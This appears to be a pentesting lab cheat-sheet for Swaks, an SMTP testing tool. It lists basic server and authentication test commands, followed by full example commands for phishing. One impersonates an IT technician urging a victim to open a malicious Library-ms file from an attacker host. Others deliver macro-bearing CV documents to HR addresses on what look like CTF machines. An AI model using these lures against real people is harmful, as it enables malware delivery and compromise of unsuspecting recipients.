Summery
Swaks (Swiss Army Knife for SMTP) is a command-line tool for testing SMTP servers. It’s useful for pentesting mail services.
Commands
Always use @ when attaching a file with --attch. @ - depending on Swaks version - may be interpreted as literal attachment content rather than a file path.
swaks --server 10.10.10.10 - Test SMTP connectivity
swaks --server 10.10.10.10 --from test@example.com --to recipient@gmail.com - Specify sender and recipient
swaks --server 10.10.10.10 --auth LOGIN --auth-user user --auth-password 'password' - Test SMTP authentication
Examples
Used with: Windows library files attack
sudo swaks --to dave.wizard@supermagicorg.com --from test@supermagicorg.com --server 192.168.146.199 --header "Subject: Download the config file" --body "Hello David, IT technician here, you need to urgently download the configuration file, otherwise your computer will be infected. Here is the URL - http://192.168.45.170/config.Library-ms . Open it and click on the automatic_configuration file, you can also download it from the attachments. Best Regards" --auth LOGIN --auth-user test@supermagicorg.com --auth-password test --attach @/home/kali/folder/mails/webdav/config.Library-msUsed with: LibreWrite macro creation
sudo swaks --to career@job.local --from kali@kali --server 10.129.234.73 --header 'Subject: My personal CV!' --body "Hello, I'm sending my CV in the attachment to this email. Kindly let me know if I'll make it into the team. Best regards, Kali, the Developer" --attach @/home/kali/htb/machines/job/cv.odtUsed with: Microsoft Office macro creation
sudo swaks --to hr@job2.vl --from kali@kali --server 10.129.238.35 --header 'Subject: My personal CV!' --body "Hello, I'm sending my CV in the attachment to this email. Kindly let me know if I'll make it into the team. Best regards, Kali, the Developer" --attach @/home/kali/htb/machines/jobtwo/macro.docReferences
Used in: Windows library files attack, LibreWrite macro creation, Job, JobTwo
Simialr tools: sendemail